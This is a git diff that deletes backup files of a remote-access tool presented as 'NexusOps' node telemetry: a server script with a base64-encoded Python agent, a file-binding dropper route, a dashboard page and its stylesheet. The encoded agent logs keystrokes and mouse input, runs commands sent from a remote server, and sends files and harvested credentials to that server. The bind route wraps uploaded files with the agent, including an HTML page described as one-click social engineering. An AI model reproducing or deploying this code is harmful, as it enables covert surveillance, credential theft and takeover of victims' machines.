kZF9hcmd1bWVudCgiLS1zZXJ2ZXIiLCBkZWZhdWx0PSJodHRwczovL2FnZW50LnRoZXRlbXBsZW9mZG9vbS5jb20iLCBoZWxwPSJEYXNoYm9hcmQgc2VydmVyIFVSTCBlbmRwb2ludCIpCiAgICBwYXJzZXIuYWRkX2FyZ3VtZW50KCItLXNpbGVudCIsIGFjdGlvbj0ic3RvcmVfdHJ1ZSIsIGhlbHA9IlN1cHByZXNzIGFsbCBjb25zb2xlIG91dHB1dCIpCiAgICBwYXJzZXIuYWRkX2FyZ3VtZW50KCItLXF1aWV0IiwgYWN0aW9uPSJzdG9yZV90cnVlIiwgaGVscD0iUXVpZXQgbW9kZTogc3VwcHJlc3MgYmFubmVyIGFuZCBleGVjIG1lc3NhZ2VzIikKICAgIGFyZ3MgPSBwYXJzZXIucGFyc2VfYXJncygpCgogICAgc2lsZW50ID0gYXJncy5zaWxlbnQgICMgc3VwcHJlc3MgYmFubmVyIG9ubHkg4oCUIGtlZXAgbG9ncyBmbG93aW5nIGZvciBsYXVuY2hkL3N5c3RlbWQKICAgIGdsb2JhbCBxdWlldF9tb2RlCiAgICBxdWlldF9tb2RlID0gYXJncy5xdWlldCBvciBhcmdzLnNpbGVudAoKICAgIHNlcnZlcl91cmwgPSBhcmdzLnNlcnZlci5yc3RyaXAoJy8nKQogICAgaG9zdG5hbWUgPSBzb2NrZXQuZ2V0aG9zdG5hbWUoKQogICAgc3lzdGVtX29zID0gcGxhdGZvcm0uc3lzdGVtKCkKICAgIGFyY2ggPSBwbGF0Zm9ybS5tYWNoaW5lKCkKICAgIGlwID0gZ2V0X2lwX2FkZHJlc3MoKQogICAgbm9kZV9pZCA9IGYibm9kZS17aG9zdG5hbWUubG93ZXIoKX0te2lwLnJlcGxhY2UoJy4nLCAnJyl9IgoKICAgIGlmIG5vdCBxdWlldF9tb2RlOgogICAgICAgIHByaW50KCI9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PSIpCiAgICAgICAgcHJpbnQoIiAgICAgIE5leHVzT3BzIENyb3NzLVBsYXRmb3JtIE5vZGUgQWdlbnQgICAgICAgICAgIikKICAgICAgICBwcmludCgiPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0iKQogICAgICAgIHByaW50KGYiTm9kZSBIb3N0bmFtZSA6IHtob3N0bmFtZX0iKQogICAgICAgIHByaW50KGYiUGxhdGZvcm0gICAgICA6IHtzeXN0ZW1fb3N9ICh7YXJjaH0pIikKICAgICAgICBwcmludChmIkxvY2FsIElQICAgICAgOiB7aXB9IikKICAgICAgICBwcmludChmIlNlcnZlciBFbmRwb2ludDoge3NlcnZlcl91cmx9IikKICAgICAgICBwcmludCgiPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0iKQoKICAgICMgUmVnaXN0ZXIgTm9kZQogICAgcmVnX3BheWxvYWQgPSB7CiAgICAgICAgIm5vZGVJZCI6IG5vZGVfaWQsCiAgICAgICAgImhvc3RuYW1lIjogaG9zdG5hbWUsCiAgICAgICAgInBsYXRmb3JtIjogc3lzdGVtX29zLmxvd2VyKCksCiAgICAgICAgImFyY2giOiBhcmNoLAogICAgICAgICJpcCI6IGlwLAogICAgICAgICJvc05hbWUiOiBmIntzeXN0ZW1fb3N9IHtwbGF0Zm9ybS5yZWxlYXNlKCl9IiwKICAgICAgICAidGFncyI6IG5vZGVfdGFncwogICAgfQoKICAgIGlmIG5vdCBxdWlldF9tb2RlOgogICAgICAgIHByaW50KCJbKl0gUmVnaXN0ZXJpbmcgbm9kZSB3aXRoIGNlbnRyYWwgZW5kcG9pbnQuLi4iKQogICAgcmVzID0gaHR0cF9wb3N0KGYie3NlcnZlcl91cmx9L2FwaS9hZ2VudC9yZWdpc3RlciIsIHJlZ19wYXlsb2FkKQogICAgaWYgcmVzIGFuZCByZXMuZ2V0KCJzdWNjZXNzIikgYW5kIG5vdCBxdWlldF9tb2RlOgogICAgICAgIHByaW50KGYi4pyFIFJlZ2lzdGVyZWQgYXMgbm9kZSBJRDoge25vZGVfaWR9IikKCiAgICAjIFN0YXJ0IGlucHV0IGNhcHR1cmUgKGtleXN0cm9rZXMsIGNsaWNrcywgc2Nyb2xsKQogICAgY2FwdHVyZV9zdGFydGVkID0gc3RhcnRfaW5wdXRfY2FwdHVyZSgpCiAgICBpZiBub3QgcXVpZXRfbW9kZToKICAgICAgICBpZiBjYXB0dXJlX3N0YXJ0ZWQ6CiAgICAgICAgICAgIHByaW50KCJbKl0gSW5wdXQgY2FwdHVyZSBhY3RpdmUgKGtleXN0cm9rZXMgKyBtb3VzZSBldmVudHMpIikKICAgICAgICBlbHNlOgogICAgICAgICAgICBwcmludCgiWyFdIElucHV0IGNhcHR1cmUgdW5hdmFpbGFibGUgKGluc3RhbGwgcHlucHV0OiBwaXAgaW5zdGFsbCBweW5wdXQpIikKCiAgICBsYXN0X2lucHV0X2ZsdXNoID0gdGltZS50aW1lKCkKICAgIGJhY2tvZmYgPSAxICAjIFR1bm5lbCByZWNvbm5lY3Rpb24gYmFja29mZiBpbiBzZWNvbmRzCgogICAgd2hpbGUgVHJ1ZToKICAgICAgICB0cnk6CiAgICAgICAgICAgIGNwdSA9IGdldF9jcHVfdXNhZ2UoKQogICAgICAgICAgICBtZW0gPSBnZXRfbWVtb3J5X3VzYWdlKCkKICAgICAgICAgICAgZGlzayA9IGdldF9kaXNrX3VzYWdlKCkKICAgICAgICAgICAgdXB0aW1lID0gZ2V0X3VwdGltZV9zZWNvbmRzKCkKCiAgICAgICAgICAgIGhlYXJ0YmVhdF9wYXlsb2FkID0gewogICAgICAgICAgICAgICAgIm5vZGVJZCI6IG5vZGVfaWQsCiAgICAgICAgICAgICAgICAiY3B1VXNhZ2UiOiBjcHUsCiAgICAgICAgICAgICAgICAibWVtVXNhZ2UiOiBtZW0sCiAgICAgICAgICAgICAgICAiZGlza1VzYWdlIjogZGlzaywKICAgICAgICAgICAgICAgICJ1cHRpbWUiOiB1cHRpbWUsCiAgICAgICAgICAgICAgICAicHJvY2Vzc0NvdW50IjogZ2V0X3Byb2Nlc3NfY291bnQoKSwKICAgICAgICAgICAgICAgICJ0YWdzIjogbm9kZV90YWdzLAogICAgICAgICAgICAgICAgImhlYXJ0YmVhdEludGVydmFsIjogaGVhcnRiZWF0X2ludGVydmFsCiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIHJlcyA9IGh0dHBfcG9zdChmIntzZXJ2ZXJfdXJsfS9hcGkvYWdlbnQvaGVhcnRiZWF0IiwgaGVhcnRiZWF0X3BheWxvYWQpCgogICAgICAgICAgICBub3cgPSB0aW1lLnRpbWUoKQogICAgICAgICAgICBpZiBub3cgLSBsYXN0X2xvZ19jaGVja190aW1lID4gMTU6CiAgICAgICAgICAgICAgICBsb2dzID0gY29sbGVjdF9yZWNlbnRfc3lzdGVtX2xvZ3MoKQogICAgICAgICAgICAgICAgaWYgbG9nczoKICAgICAgICAgICAgICAgICAgICBodHRwX3Bvc3QoZiJ7c2VydmVyX3VybH0vYXBpL2FnZW50L2xvZ3MiLCB7CiAgICAgICAgICAgICAgICAgICAgICAgICJub2RlSWQiOiBub2RlX2lkLAogICAgICAgICAgICAgICAgICAgICAgICAiaG9zdG5hbWUiOiBob3N0bmFtZSwKICAgICAgICAgICAgICAgICAgICAgICAgImxvZ3MiOiBsb2dzCiAgICAgICAgICAgICAgICAgICAgfSkKICAgICAgICAgICAgICAgIGxhc3RfbG9nX2NoZWNrX3RpbWUgPSBub3cKCiAgICAgICAgICAgICMgRmx1c2ggY2FwdHVyZWQgaW5wdXQgZXZlbnRzIGV2ZXJ5IDEwIHNlY29uZHMKICAgICAgICAgICAgaWYgbm93IC0gbGFzdF9pbnB1dF9mbHVzaCA+IDEwOgogICAgICAgICAgICAgICAgZmx1c2hfaW5wdXRfZXZlbnRzKHNlcnZlcl91cmwsIG5vZGVfaWQsIGhvc3RuYW1lKQogICAgICAgICAgICAgICAgbGFzdF9pbnB1dF9mbHVzaCA9IG5vdwoKICAgICAgICAgICAgaWYgcmVzIGFuZCAiY29tbWFuZHMiIGluIHJlcyBhbmQgcmVzWyJjb21tYW5kcyJdOgogICAgICAgICAgICAgICAgZm9yIGNtZF9pdGVtIGluIHJlc1siY29tbWFuZHMiXToKICAgICAgICAgICAgICAgICAgICBjbWRfaWQgPSBjbWRfaXRlbS5nZXQoImlkIikKICAgICAgICAgICAgICAgICAgICBhY3Rpb25fdHlwZSA9IGNtZF9pdGVtLmdldCgiYWN0aW9uVHlwZSIsICJyYXdfY29tbWFuZCIpCiAgICAgICAgICAgICAgICAgICAgcGF5bG9hZCA9IGNtZF9pdGVtLmdldCgicGF5bG9hZCIsIHt9KQogICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgIGlmICJjb21tYW5kIiBpbiBjbWRfaXRlbSBhbmQgbm90IHBheWxvYWQ6CiAgICAgICAgICAgICAgICAgICAgICAgIHBheWxvYWRbImNvbW1hbmQiXSA9IGNtZF9pdGVtLmdldCgiY29tbWFuZCIpCgogICAgICAgICAgICAgICAgICAgIG91dHB1dCwgZXhpdF9jb2RlID0gZXhlY3V0ZV9zdHJ1Y3R1cmVkX2FjdGlvbihhY3Rpb25fdHlwZSwgcGF5bG9hZCkKCiAgICAgICAgICAgICAgICAgICAgIyBDaGVjayBmb3IgSlNPTi1lbmNvZGVkIHNwZWNpYWwgcmVzdWx0IHR5cGVzCiAgICAgICAgICAgICAgICAgICAgc3BlY2lhbCA9IE5vbmUKICAgICAgICAgICAgICAgICAgICB0cnk6CiAgICAgICAgICAgICAgICAgICAgICAgIGlmIG91dHB1dC5zdGFydHN3aXRoKCd7Jyk6CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBzcGVjaWFsID0ganNvbi5sb2FkcyhvdXRwdXQpCiAgICAgICAgICAgICAgICAgICAgZXhjZXB0OiBwYXNzCgogICAgICAgICAgICAgICAgICAgIGlmIHNwZWNpYWwgYW5kIHNwZWNpYWwuZ2V0KCJ0eXBlIikgPT0gImZpbGVfcmVzdWx0IjoKICAgICAgICAgICAgICAgICAgICAgICAgIyBSb3V0ZSB0byBmaWxlLXJlc3VsdCBlbmRwb2ludAogICAgICAgICAgICAgICAgICAgICAgICBodHRwX3Bvc3QoZiJ7c2VydmVyX3VybH0vYXBpL2FnZW50L2ZpbGUtcmVzdWx0IiwgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgImNvbW1hbmRJZCI6IGNtZF9pZCwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICJub2RlSWQiOiBub2RlX2lkLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgImhvc3RuYW1lIjogaG9zdG5hbWUsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZmlsZW5hbWUiOiBzcGVjaWFsLmdldCgiZmlsZW5hbWUiLCAidW5rbm93biIpLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgImRhdGEiOiBzcGVjaWFsLmdldCgiZGF0YSIsICIiKSwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICJtaW1lIjogc3BlY2lhbC5nZXQoIm1pbWUiLCAiYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtIikKICAgICAgICAgICAgICAgICAgICAgICAgfSkKICAgICAgICAgICAgICAgICAgICBlbGlmIHNwZWNpYWwgYW5kIHNwZWNpYWwuZ2V0KCJ0eXBlIikgPT0gImhhcnZlc3RfcmVzdWx0IjoKICAgICAgICAgICAgICAgICAgICAgICAgaHR0cF9wb3N0KGYie3NlcnZlcl91cmx9L2FwaS9hZ2VudC9oYXJ2ZXN0LXJlc3VsdCIsIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICJjb21tYW5kSWQiOiBjbWRfaWQsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAibm9kZUlkIjogbm9kZV9pZCwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICJob3N0bmFtZSI6IGhvc3RuYW1lLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgImNyZWRlbnRpYWxzIjogc3BlY2lhbC5nZXQoImNyZWRlbnRpYWxzIiwgW10pCiAgICAgICAgICAgICAgICAgICAgICAgIH0pCiAgICAgICAgICAgICAgICAgICAgZWxzZToKICAgICAgICAgICAgICAgICAgICAgICAgaHR0cF9wb3N0KGYie3NlcnZlcl91cmx9L2FwaS9hZ2VudC9jb21tYW5kLXJlc3VsdCIsIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICJjb21tYW5kSWQiOiBjbWRfaWQsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAibm9kZUlkIjogbm9kZV9pZCwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICJvdXRwdXQiOiBvdXRwdXQsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZXhpdENvZGUiOiBleGl0X2NvZGUKICAgICAgICAgICAgICAgICAgICAgICAgfSkKCiAgICAgICAgZXhjZXB0IEV4Y2VwdGlvbiBhcyBlOgogICAgICAgICAgICBpZiBub3QgcXVpZXRfbW9kZToKICAgICAgICAgICAgICAgIHByaW50KGYiWyFdIENvbm5lY3Rpb24gZXJyb3I6IHtlfS4gUmV0cnlpbmcgaW4ge2JhY2tvZmZ9cy4uLiIpCiAgICAgICAgICAgIHRpbWUuc2xlZXAoYmFja29mZikKICAgICAgICAgICAgYmFja29mZiA9IG1pbihiYWNrb2ZmICogMiwgNjApCiAgICAgICAgICAgIGNvbnRpbnVlCgogICAgICAgIGJhY2tvZmYgPSAxICAjIFJlc2V0IG9uIHN1Y2Nlc3MKICAgICAgICB0aW1lLnNsZWVwKGhlYXJ0YmVhdF9pbnRlcnZhbCkKCmlmIF9fbmFtZV9fID09ICJfX21haW5fXyI6CiAgICBtYWluKCkK"; -app.post('/api/bind', upload.single('file'), (req, res) => { - if (!req.file) { - return res.status(400).json({ error: 'No file uploaded. Use field name "file".' }); - } - - const originalName = req.file.originalname; - const b64Content = req.file.buffer.toString('base64'); - const b64Lines = b64Content.match(/.{1,76}/g) || [b64Content]; - const agentLines = AGENT_B64.match(/.{1,76}/g) || [AGENT_B64]; - const serverUrl = PUBLIC_URL || `http://${req.headers.host || (SERVER_IP + ":" + PORT)}`; - const format = (req.query.format || 'sh').toLowerCase(); - - let dropper, boundName, contentType; - - // ── HTML Payload (one-click social engineering, auto-downloads file) ── - if (format === 'html') { - const safeName = originalName.replace(/"/g, '"').replace(/\\/g, '\\\\'); - const safeB64 = b64Content; - dropper = ` -${safeName} - -
-
-

Opening your file…

-

${safeName}

- Download & Open -
- - - - - - - -
-
-
- -
-
-

NexusOps

- Node Control & Telemetry Operations -
-
- - - -
- - Nodes CSV - - - Inputs CSV - - - - - -
-
- - -
- - -
-
-
-
- Total Nodes -

0

-
-
- -
-
-
- Online Nodes -

0

-
-
- -
-
-
- Offline / Stale -

0

-
-
- -
-
-
- Avg Network CPU -

0%

-
-
-
- - -
- - -
- - - -
- -
- - -
-
- - -
-
- -

Waiting for Agents to Connect...

-

No nodes registered yet. Click "Add New Computer" to get your agent installer script or standalone binary.

- -
-
- - -
-
-

Real-time Aggregate System Telemetry

- Live Stream -
-
- -
-
- - -
-
-

Task & Control Execution Log

- 0 events -
-
-
-
[SYSTEM] NexusOps Telemetry Server ready. Waiting for node tasks...
-
-
-
- - -
-
-

Master Centralized System & Audit Log Stream

-
- - 0 entries -
-
-
-
-
[SYSTEM] Central log stream active. Listening for node syslog and audit events...
-
-
-
- - -
-
-

Master Intelligence Log — Input Capture & Machine Telemetry

-
- - - - 0 events -
-
- -
- Select a machine above to view its details here... -
-
-
-
[INTEL] Master Intelligence Log active. Awaiting input capture data from agents...
-
-
-
- -
- - - - - - - - - - - - - - - - - diff --git a/backups/webroot-strays/styles.css.bak-1785766812 b/backups/webroot-strays/styles.css.bak-1785766812 deleted file mode 100644 index 8ff2351..0000000 --- a/backups/webroot-strays/styles.css.bak-1785766812 +++ /dev/null @@ -1,905 +0,0 @@ -:root { - --bg-dark: #090d16; - --bg-card: rgba(17, 24, 39, 0.7); - --bg-card-hover: rgba(31, 41, 55, 0.8); - --border-color: rgba(255, 255, 255, 0.08); - --border-active: rgba(6, 182, 212, 0.4); - - --primary-cyan: #06b6d4; - --primary-purple: #8b5cf6; - --accent-emerald: #10b981; - --accent-rose: #f43f5e; - --accent-amber: #f59e0b; - - --text-main: #f3f4f6; - --text-muted: #9ca3af; - --text-dim: #6b7280; - - --font-sans: 'Inter', system-ui, sans-serif; - --font-display: 'Outfit', system-ui, sans-serif; - --font-mono: 'JetBrains Mono', monospace; - - --radius-sm: 6px; - --radius-md: 12px; - --radius-lg: 18px; - --shadow-glow: 0 0 20px rgba(6, 182, 212, 0.15); -} - -* { - margin: 0; - padding: 0; - box-sizing: border-box; -} - -body { - background-color: var(--bg-dark); - color: var(--text-main); - font-family: var(--font-sans); - background-image: - radial-gradient(at 0% 0%, rgba(6, 182, 212, 0.05) 0px, transparent 50%), - radial-gradient(at 100% 0%, rgba(139, 92, 246, 0.05) 0px, transparent 50%); - background-attachment: fixed; - min-height: 100vh; - display: flex; - flex-direction: column; -} - -/* Header Navbar */ -.top-nav { - display: flex; - justify-content: space-between; - align-items: center; - padding: 1.25rem 2rem; - background: rgba(15, 23, 42, 0.85); - backdrop-filter: blur(16px); - border-bottom: 1px solid var(--border-color); - position: sticky; - top: 0; - z-index: 100; -} - -.logo-area { - display: flex; - align-items: center; - gap: 1rem; -} - -.logo-icon { - width: 44px; - height: 44px; - background: linear-gradient(135deg, var(--primary-cyan), var(--primary-purple)); - border-radius: var(--radius-md); - display: flex; - align-items: center; - justify-content: center; - font-size: 1.25rem; - color: #fff; - box-shadow: var(--shadow-glow); -} - -.logo-text { - font-family: var(--font-display); - font-size: 1.5rem; - font-weight: 800; - letter-spacing: -0.02em; -} - -.logo-text span { - color: var(--primary-cyan); -} - -.sub-text { - display: block; - font-size: 0.75rem; - color: var(--text-muted); -} - -.nav-metrics { - display: flex; - gap: 1rem; -} - -.metric-pill { - display: flex; - align-items: center; - gap: 0.5rem; - background: rgba(255, 255, 255, 0.04); - border: 1px solid var(--border-color); - padding: 0.5rem 1rem; - border-radius: 9999px; - font-size: 0.85rem; -} - -.pill-label { - color: var(--text-muted); -} - -.pill-value { - font-family: var(--font-mono); - font-weight: 600; -} - -.highlight-endpoint { - color: var(--primary-cyan); -} - -.status-indicator { - width: 8px; - height: 8px; - border-radius: 50%; - background-color: var(--text-dim); -} - -.status-indicator.online { - background-color: var(--accent-emerald); - box-shadow: 0 0 8px var(--accent-emerald); -} - -/* Dashboard Container */ -.dashboard-container { - max-width: 1400px; - width: 100%; - margin: 0 auto; - padding: 2rem; - display: flex; - flex-direction: column; - gap: 2rem; -} - -/* Overview Stat Cards */ -.stats-grid { - display: grid; - grid-template-columns: repeat(auto-fit, minmax(240px, 1fr)); - gap: 1.25rem; -} - -.stat-card { - background: var(--bg-card); - backdrop-filter: blur(12px); - border: 1px solid var(--border-color); - border-radius: var(--radius-md); - padding: 1.25rem 1.5rem; - display: flex; - align-items: center; - gap: 1.25rem; - transition: transform 0.2s ease, border-color 0.2s ease; -} - -.stat-card:hover { - transform: translateY(-2px); - border-color: rgba(255, 255, 255, 0.15); -} - -.stat-icon { - width: 52px; - height: 52px; - border-radius: var(--radius-md); - display: flex; - align-items: center; - justify-content: center; - font-size: 1.5rem; -} - -.stat-icon.cyan { background: rgba(6, 182, 212, 0.12); color: var(--primary-cyan); } -.stat-icon.emerald { background: rgba(16, 185, 129, 0.12); color: var(--accent-emerald); } -.stat-icon.rose { background: rgba(244, 63, 94, 0.12); color: var(--accent-rose); } -.stat-icon.purple { background: rgba(139, 92, 246, 0.12); color: var(--primary-purple); } - -.stat-label { - font-size: 0.8rem; - color: var(--text-muted); - text-transform: uppercase; - letter-spacing: 0.05em; - font-weight: 600; -} - -.stat-number { - font-family: var(--font-display); - font-size: 1.75rem; - font-weight: 700; - margin-top: 0.2rem; -} - -/* Toolbar & Filters */ -.controls-toolbar { - display: flex; - justify-content: space-between; - align-items: center; - gap: 1rem; - flex-wrap: wrap; -} - -.search-box { - position: relative; - flex: 1; - min-width: 280px; -} - -.search-box i { - position: absolute; - left: 1rem; - top: 50%; - transform: translateY(-50%); - color: var(--text-dim); -} - -.search-box input { - width: 100%; - padding: 0.75rem 1rem 0.75rem 2.75rem; - background: rgba(15, 23, 42, 0.6); - border: 1px solid var(--border-color); - border-radius: var(--radius-md); - color: #fff; - font-family: var(--font-sans); - font-size: 0.9rem; - transition: all 0.2s ease; -} - -.search-box input:focus { - outline: none; - border-color: var(--primary-cyan); - box-shadow: var(--shadow-glow); -} - -.filter-group, .view-toggle { - display: flex; - background: rgba(15, 23, 42, 0.6); - border: 1px solid var(--border-color); - border-radius: var(--radius-md); - padding: 0.25rem; -} - -.filter-btn, .toggle-btn { - background: transparent; - border: none; - color: var(--text-muted); - padding: 0.5rem 1rem; - border-radius: var(--radius-sm); - font-size: 0.85rem; - font-weight: 500; - cursor: pointer; - transition: all 0.2s ease; -} - -.filter-btn.active, .toggle-btn.active { - background: rgba(255, 255, 255, 0.1); - color: #fff; -} - -/* Node Cards Grid */ -.nodes-grid-view { - display: grid; - grid-template-columns: repeat(auto-fill, minmax(340px, 1fr)); - gap: 1.5rem; -} - -.node-card { - background: var(--bg-card); - backdrop-filter: blur(12px); - border: 1px solid var(--border-color); - border-radius: var(--radius-md); - padding: 1.5rem; - display: flex; - flex-direction: column; - gap: 1.25rem; - position: relative; - overflow: hidden; - transition: all 0.25s ease; -} - -.node-card:hover { - border-color: var(--border-active); - transform: translateY(-3px); - box-shadow: 0 10px 30px rgba(0, 0, 0, 0.4); -} - -.node-card.offline { - opacity: 0.75; -} - -.node-card::before { - content: ''; - position: absolute; - top: 0; - left: 0; - right: 0; - height: 3px; - background: var(--accent-rose); -} - -.node-card.online::before { - background: var(--accent-emerald); -} - -.card-header { - display: flex; - justify-content: space-between; - align-items: flex-start; -} - -.node-info-main { - display: flex; - align-items: center; - gap: 0.75rem; -} - -.platform-badge-icon { - width: 40px; - height: 40px; - border-radius: var(--radius-sm); - background: rgba(255, 255, 255, 0.05); - display: flex; - align-items: center; - justify-content: center; - font-size: 1.25rem; - color: var(--primary-cyan); -} - -.node-title h3 { - font-family: var(--font-display); - font-size: 1.1rem; - font-weight: 700; -} - -.node-title span { - font-family: var(--font-mono); - font-size: 0.8rem; - color: var(--text-muted); -} - -.status-badge { - padding: 0.25rem 0.65rem; - border-radius: 9999px; - font-size: 0.75rem; - font-weight: 600; - text-transform: uppercase; - letter-spacing: 0.05em; - display: flex; - align-items: center; - gap: 0.4rem; -} - -.status-badge.online { - background: rgba(16, 185, 129, 0.15); - color: var(--accent-emerald); - border: 1px solid rgba(16, 185, 129, 0.3); -} - -.status-badge.offline { - background: rgba(244, 63, 94, 0.15); - color: var(--accent-rose); - border: 1px solid rgba(244, 63, 94, 0.3); -} - -.metrics-container { - display: flex; - flex-direction: column; - gap: 0.75rem; -} - -.metric-bar-group { - display: flex; - flex-direction: column; - gap: 0.3rem; -} - -.metric-bar-label { - display: flex; - justify-content: space-between; - font-size: 0.8rem; - color: var(--text-muted); -} - -.metric-bar-bg { - height: 8px; - background: rgba(255, 255, 255, 0.06); - border-radius: 9999px; - overflow: hidden; -} - -.metric-bar-fill { - height: 100%; - border-radius: 9999px; - transition: width 0.4s ease; -} - -.fill-cpu { background: linear-gradient(90deg, var(--primary-cyan), var(--primary-purple)); } -.fill-mem { background: linear-gradient(90deg, #3b82f6, #8b5cf6); } -.fill-disk { background: linear-gradient(90deg, #f59e0b, #ef4444); } - -.card-footer { - display: flex; - justify-content: space-between; - align-items: center; - padding-top: 0.75rem; - border-top: 1px solid rgba(255, 255, 255, 0.06); -} - -.node-actions { - display: flex; - gap: 0.5rem; -} - -/* Buttons */ -.btn { - display: inline-flex; - align-items: center; - gap: 0.5rem; - padding: 0.6rem 1.25rem; - border-radius: var(--radius-md); - font-family: var(--font-sans); - font-size: 0.875rem; - font-weight: 600; - cursor: pointer; - border: none; - transition: all 0.2s ease; -} - -.btn-primary { - background: linear-gradient(135deg, var(--primary-cyan), #0284c7); - color: #fff; - box-shadow: 0 4px 12px rgba(6, 182, 212, 0.3); -} - -.btn-primary:hover { - filter: brightness(1.1); - box-shadow: 0 6px 18px rgba(6, 182, 212, 0.45); -} - -.btn-secondary { - background: rgba(255, 255, 255, 0.06); - border: 1px solid var(--border-color); - color: var(--text-main); -} - -.btn-secondary:hover { - background: rgba(255, 255, 255, 0.12); -} - -.btn-icon { - padding: 0.5rem; - border-radius: var(--radius-sm); - background: rgba(255, 255, 255, 0.05); - border: 1px solid var(--border-color); - color: var(--text-muted); - cursor: pointer; - transition: all 0.2s ease; -} - -.btn-icon:hover { - color: #fff; - border-color: var(--primary-cyan); -} - -/* Section Cards (Charts / Logs) */ -.chart-section, .logs-section { - background: var(--bg-card); - backdrop-filter: blur(12px); - border: 1px solid var(--border-color); - border-radius: var(--radius-md); - padding: 1.5rem; - display: flex; - flex-direction: column; - gap: 1rem; -} - -.section-header { - display: flex; - justify-content: space-between; - align-items: center; -} - -.section-header h3 { - font-family: var(--font-display); - font-size: 1.1rem; - display: flex; - align-items: center; - gap: 0.6rem; -} - -.badge { - padding: 0.2rem 0.6rem; - border-radius: var(--radius-sm); - background: rgba(6, 182, 212, 0.15); - color: var(--primary-cyan); - font-size: 0.75rem; - font-weight: 600; -} - -.badge.purple { - background: rgba(139, 92, 246, 0.15); - color: var(--primary-purple); -} - -.chart-container { - height: 260px; - width: 100%; -} - -/* Terminal Log View */ -.terminal-window { - background: #050811; - border: 1px solid var(--border-color); - border-radius: var(--radius-sm); - font-family: var(--font-mono); - font-size: 0.85rem; - padding: 1rem; - height: 180px; - overflow-y: auto; -} - -.log-entry { - padding: 0.2rem 0; - color: var(--text-muted); -} - -.log-entry.system { color: var(--primary-cyan); } -.log-entry.success { color: var(--accent-emerald); } -.log-entry.error { color: var(--accent-rose); } - -/* Empty state */ -.empty-state { - grid-column: 1 / -1; - text-align: center; - padding: 4rem 2rem; - background: var(--bg-card); - border: 1px dashed var(--border-color); - border-radius: var(--radius-md); - display: flex; - flex-direction: column; - align-items: center; - gap: 1rem; -} - -.empty-state i { - font-size: 2.5rem; - color: var(--primary-cyan); -} - -/* Modal Overlay */ -.modal-overlay { - position: fixed; - top: 0; - left: 0; - right: 0; - bottom: 0; - background: rgba(0, 0, 0, 0.75); - backdrop-filter: blur(8px); - display: flex; - align-items: center; - justify-content: center; - z-index: 1000; - opacity: 0; - pointer-events: none; - transition: opacity 0.25s ease; -} - -.modal-overlay.active { - opacity: 1; - pointer-events: auto; -} - -.modal-card { - background: #0f172a; - border: 1px solid var(--border-color); - border-radius: var(--radius-lg); - width: 90%; - max-width: 620px; - box-shadow: 0 25px 50px -12px rgba(0, 0, 0, 0.7); - overflow: hidden; -} - -.modal-header { - padding: 1.5rem; - border-bottom: 1px solid var(--border-color); - display: flex; - justify-content: space-between; - align-items: center; -} - -.title-with-icon { - display: flex; - align-items: center; - gap: 1rem; -} - -.icon-accent { - font-size: 1.5rem; - color: var(--primary-cyan); -} - -.modal-close { - background: transparent; - border: none; - color: var(--text-muted); - font-size: 1.25rem; - cursor: pointer; -} - -.modal-body { - padding: 1.5rem; - display: flex; - flex-direction: column; - gap: 1.25rem; -} - -.os-tabs { - display: flex; - gap: 0.5rem; - border-bottom: 1px solid var(--border-color); - padding-bottom: 0.5rem; -} - -.tab-btn { - background: transparent; - border: none; - color: var(--text-muted); - padding: 0.5rem 1rem; - font-weight: 500; - cursor: pointer; - border-radius: var(--radius-sm); -} - -.tab-btn.active { - background: rgba(6, 182, 212, 0.15); - color: var(--primary-cyan); -} - -.tab-content { - display: none; -} - -.tab-content.active { - display: block; -} - -.tab-description { - font-size: 0.85rem; - color: var(--text-muted); - margin-bottom: 0.75rem; -} - -.code-block { - background: #050811; - border: 1px solid var(--border-color); - border-radius: var(--radius-sm); - padding: 1rem; - position: relative; - display: flex; - align-items: center; - justify-content: space-between; -} - -.code-block code { - font-family: var(--font-mono); - font-size: 0.85rem; - color: var(--accent-emerald); - word-break: break-all; -} - -.btn-copy { - background: rgba(255, 255, 255, 0.1); - border: 1px solid var(--border-color); - color: #fff; - padding: 0.4rem 0.8rem; - border-radius: var(--radius-sm); - font-size: 0.75rem; - cursor: pointer; - white-space: nowrap; -} - -.modal-info-box { - background: rgba(6, 182, 212, 0.08); - border: 1px solid rgba(6, 182, 212, 0.2); - border-radius: var(--radius-sm); - padding: 0.75rem 1rem; - display: flex; - align-items: center; - gap: 0.75rem; - font-size: 0.85rem; - color: var(--text-main); -} - -.form-group { - display: flex; - flex-direction: column; - gap: 0.5rem; -} - -.form-group label { - font-size: 0.85rem; - font-weight: 600; - color: var(--text-muted); -} - -.form-input { - background: #050811; - border: 1px solid var(--border-color); - border-radius: var(--radius-sm); - padding: 0.75rem 1rem; - color: #fff; - font-family: var(--font-mono); -} - -.quick-commands { - display: flex; - align-items: center; - gap: 0.5rem; - flex-wrap: wrap; -} - -.quick-label { - font-size: 0.8rem; - color: var(--text-muted); -} - -.chip { - background: rgba(255, 255, 255, 0.06); - border: 1px solid var(--border-color); - color: var(--text-main); - padding: 0.25rem 0.6rem; - border-radius: 9999px; - font-size: 0.75rem; - cursor: pointer; -} - -.chip:hover { - background: rgba(6, 182, 212, 0.2); - border-color: var(--primary-cyan); -} - -.modal-actions { - display: flex; - justify-content: flex-end; - gap: 0.75rem; - margin-top: 1rem; -} - -/* ── Master Intelligence Log Components ── */ - -.machine-detail-chip { - display: inline-flex; - align-items: center; - gap: 